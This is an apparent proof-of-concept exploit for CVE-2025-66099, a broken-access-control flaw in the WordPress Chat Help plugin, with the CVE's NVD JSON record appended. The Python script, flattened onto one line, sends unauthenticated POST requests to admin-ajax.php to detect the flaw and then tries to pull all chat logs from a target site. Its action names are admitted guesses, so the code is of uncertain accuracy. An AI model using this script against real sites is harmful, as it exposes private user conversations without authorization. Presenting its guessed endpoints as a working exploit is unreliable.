CVE-2025-66099

# CVE-2025-66099 PoC - WordPress Chat Help Plugin Broken Access Control # This PoC demonstrates the missing authorization vulnerability in Chat Help plugin import requests import sys TARGET_URL = "https://example.com" # Replace with target URL def check_vulnerability(): """ Check if the target WordPress site is vulnerable to CVE-2025-66099 """ # Common Chat Help AJAX endpoints endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/chat-help/v1/", ] # Check for unprotected Chat Help data retrieval # The plugin should require authentication but doesn't payload = { "action": "chat_help_get_data", # Example action name "chat_id": "1" } print("[*] Testing CVE-2025-66099 - Missing Authorization in Chat Help") print(f"[*] Target: {TARGET_URL}") for endpoint in endpoints: url = TARGET_URL + endpoint print(f"\n[*] Testing endpoint: {url}") try: # Send request without authentication response = requests.post(url, data=payload, timeout=10) # If we get a successful response with data, vulnerability exists if response.status_code == 200: # Check if response contains sensitive data if "chat" in response.text.lower() or "message" in response.text.lower(): print(f"[!] VULNERABLE: Endpoint {endpoint} returned data without auth") print(f"[+] Response preview: {response.text[:200]}...") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Target may not be vulnerable or Chat Help plugin not installed") return False def exploit_data_exposure(): """ Attempt to extract sensitive data using the vulnerability """ print("\n[*] Attempting to extract sensitive data...") # Example: Try to retrieve chat logs exploit_url = TARGET_URL + "/wp-admin/admin-ajax.php" data = { "action": "chat_help_admin_action", # May vary based on plugin version "sub_action": "get_all_chats" } try: response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200 and "chat" in response.text: print("[!] Successfully retrieved chat data without authentication!") return response.text except requests.RequestException as e: print(f"[-] Exploitation failed: {e}") return None if __name__ == "__main__": if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2025-66099") exploit_data_exposure() else: print("\n[-] Target appears to be NOT vulnerable")

{"cve": {"id": "CVE-2025-66099", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:51.510", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ThemeAtelier Chat Help chat-help allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Chat Help: from n/a through <= 3.1.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/chat-help/vulnerability/wordpress-chat-help-plugin-3-1-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}